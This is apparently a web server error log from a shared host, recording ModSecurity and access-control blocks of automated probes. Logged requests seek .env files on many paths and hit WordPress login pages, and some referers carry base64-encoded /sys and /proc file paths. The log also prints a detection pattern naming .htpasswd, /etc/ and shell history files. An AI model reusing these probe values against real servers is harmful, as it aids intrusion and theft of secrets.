[uri "/___proxy_subdomain_webdisk/ansible/.env"] [unique_id "ai3yx9yTkdrNlD40tSGlkwAAAAw"] [Sat Jun 13 18:16:07.272061 2026] [access_compat:error] [pid 648189:tid 648280] [remote 57.141.14.78:39056] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:07.272481 2026] [access_compat:error] [pid 648189:tid 648280] [remote 57.141.14.78:39056] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:07.460066 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.33:39675] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:07.460498 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.33:39675] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:07.460923 2026] [security2:error] [pid 646876:tid 647067] [client 185.177.72.9:44248] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/smtp.php"] [unique_id "ai3yx9yTkdrNlD40tSGlnwAAADs"] [Sat Jun 13 18:16:07.679382 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDQ= [Sat Jun 13 18:16:07.679666 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDQ= [Sat Jun 13 18:16:07.752784 2026] [security2:error] [pid 646876:tid 646937] [remote 17.241.75.47:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 47.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yx9yTkdrNlD40tSGlqAAAZzo"] [Sat Jun 13 18:16:08.215643 2026] [access_compat:error] [pid 648189:tid 648225] [remote 216.73.216.182:47156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:08.216158 2026] [access_compat:error] [pid 648189:tid 648225] [remote 216.73.216.182:47156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:08.227008 2026] [access_compat:error] [pid 646876:tid 646956] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:16:08.227431 2026] [access_compat:error] [pid 646876:tid 646956] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:16:08.367934 2026] [security2:error] [pid 646876:tid 647133] [client 185.177.72.9:44256] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/core/.env"] [unique_id "ai3yyNyTkdrNlD40tSGlxQAAAH0"] [Sat Jun 13 18:16:08.535530 2026] [access_compat:error] [pid 648189:tid 648271] [remote 57.141.14.37:23008] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:08.535934 2026] [access_compat:error] [pid 648189:tid 648271] [remote 57.141.14.37:23008] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:08.657711 2026] [security2:error] [pid 646876:tid 647002] [remote 17.241.75.29:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 29.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yyNyTkdrNlD40tSGl0wAAens"] [Sat Jun 13 18:16:08.716508 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9kcml2ZXIvc2VyaW8x [Sat Jun 13 18:16:08.716964 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9kcml2ZXIvc2VyaW8x [Sat Jun 13 18:16:08.810288 2026] [security2:error] [pid 646876:tid 647131] [client 185.177.72.9:44256] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/local/.env"] [unique_id "ai3yyNyTkdrNlD40tSGl3QAAAHs"] [Sat Jun 13 18:16:08.857936 2026] [security2:error] [pid 648189:tid 648289] [remote 57.141.14.19:48368] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3yyFWSojQL4F7upKBaJwAAkUM"], referer: https://nelsonfarmstn.com/product-category/specials/?add_to_wishlist=393&_wpnonce=dacad5c21f&add-to-cart=401 [Sat Jun 13 18:16:08.952185 2026] [security2:error] [pid 646876:tid 647019] [client 185.177.72.9:44256] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/application/.env"] [unique_id "ai3yyNyTkdrNlD40tSGl4gAAAAs"] [Sat Jun 13 18:16:08.967790 2026] [security2:error] [pid 646876:tid 647004] [remote 209.87.149.26:63629] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "sunshinemanage.com"] [uri "/wp-login.php"] [unique_id "ai3yyNyTkdrNlD40tSGl4wAAZH0"] [Sat Jun 13 18:16:09.143943 2026] [security2:error] [pid 648189:tid 648350] [remote 82.165.2.98:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.2.165.82.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "levantsoleil.com"] [uri "/wp-login.php"] [unique_id "ai3yyVWSojQL4F7upKBaLwAA-n8"] [Sat Jun 13 18:16:09.221226 2026] [access_compat:error] [pid 648189:tid 648305] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:16:09.221588 2026] [access_compat:error] [pid 648189:tid 648305] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:16:09.230203 2026] [security2:error] [pid 646876:tid 647017] [client 114.119.136.99:34711] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.mrbradgoreski.com"] [uri "/wp-content/uploads/2014/01/Brad-Goreski-Spring-2014-Trends-Art-Pop-96x72.jpg"] [unique_id "ai3yydyTkdrNlD40tSGl8wAAAAk"], referer: http://www.mrbradgoreski.com/wp-content/uploads/2014/01/Brad-Goreski-Spring-2014-Trends-Art-Pop-96x72.jpg [Sat Jun 13 18:16:09.308238 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:16:09.308504 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:16:09.370009 2026] [access_compat:error] [pid 648189:tid 648318] [remote 57.141.14.83:39624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:09.370383 2026] [access_compat:error] [pid 648189:tid 648318] [remote 57.141.14.83:39624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:09.424987 2026] [access_compat:error] [pid 648189:tid 648257] [remote 57.141.14.52:45598] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:09.425409 2026] [access_compat:error] [pid 648189:tid 648257] [remote 57.141.14.52:45598] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:09.432574 2026] [access_compat:error] [pid 646876:tid 646963] [remote 57.141.14.91:22024] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:09.433043 2026] [access_compat:error] [pid 646876:tid 646963] [remote 57.141.14.91:22024] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:09.538072 2026] [security2:error] [pid 646876:tid 646997] [remote 17.22.237.106:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 106.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yydyTkdrNlD40tSGl_QAAE3Y"] [Sat Jun 13 18:16:09.556220 2026] [security2:error] [pid 646876:tid 647056] [client 185.177.72.9:44256] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/env/.env"] [unique_id "ai3yydyTkdrNlD40tSGl_gAAADA"] [Sat Jun 13 18:16:09.634887 2026] [access_compat:error] [pid 648189:tid 648325] [remote 57.141.14.82:55460] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:09.635152 2026] [access_compat:error] [pid 648189:tid 648325] [remote 57.141.14.82:55460] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:09.695898 2026] [security2:error] [pid 646876:tid 647026] [client 185.177.72.9:44256] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/new/.env"] [unique_id "ai3yydyTkdrNlD40tSGmAwAAABI"] [Sat Jun 13 18:16:09.748984 2026] [security2:error] [pid 648189:tid 648291] [remote 52.167.144.199:10963] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 199.144.167.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "onemontgomerygreen.org"] [uri "/index.php/calendarevents/2020-03-07/"] [unique_id "ai3yyVWSojQL4F7upKBaPgAAt0U"] [Sat Jun 13 18:16:09.750546 2026] [access_compat:error] [pid 646876:tid 646944] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvZGV2aWNlL2RyaXZlci9MTlhTTFBCTjowMA== [Sat Jun 13 18:16:09.750856 2026] [access_compat:error] [pid 646876:tid 646944] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvZGV2aWNlL2RyaXZlci9MTlhTTFBCTjowMA== [Sat Jun 13 18:16:09.770686 2026] [fcgid:warn] [pid 646876:tid 647086] (70014)End of file found: [client 168.144.149.159:47148] mod_fcgid: can't get data from http client [Sat Jun 13 18:16:09.772301 2026] [security2:error] [pid 646876:tid 646955] [remote 209.87.149.26:63629] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "sunshinemanage.com"] [uri "/wp-login.php"] [unique_id "ai3yydyTkdrNlD40tSGmCQAAZkw"], referer: https://sunshinemanage.com/wp-login.php [Sat Jun 13 18:16:09.808750 2026] [security2:error] [pid 648189:tid 648275] [remote 82.165.2.98:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.2.165.82.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "levantsoleil.com"] [uri "/wp-login.php"] [unique_id "ai3yyVWSojQL4F7upKBaQAAA0jU"], referer: https://levantsoleil.com/wp-login.php [Sat Jun 13 18:16:09.978483 2026] [security2:error] [pid 648189:tid 648274] [remote 17.246.23.20:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yyVWSojQL4F7upKBaRQAAsTQ"] [Sat Jun 13 18:16:10.014043 2026] [access_compat:error] [pid 646876:tid 646948] [remote 57.141.14.102:43145] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:10.014505 2026] [access_compat:error] [pid 646876:tid 646948] [remote 57.141.14.102:43145] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:10.095051 2026] [access_compat:error] [pid 648189:tid 648266] [remote 57.141.14.14:56200] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:10.095319 2026] [access_compat:error] [pid 648189:tid 648266] [remote 57.141.14.14:56200] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:10.285122 2026] [security2:error] [pid 646876:tid 646981] [remote 17.246.19.197:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 197.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yytyTkdrNlD40tSGmIAAAUmY"] [Sat Jun 13 18:16:10.289051 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 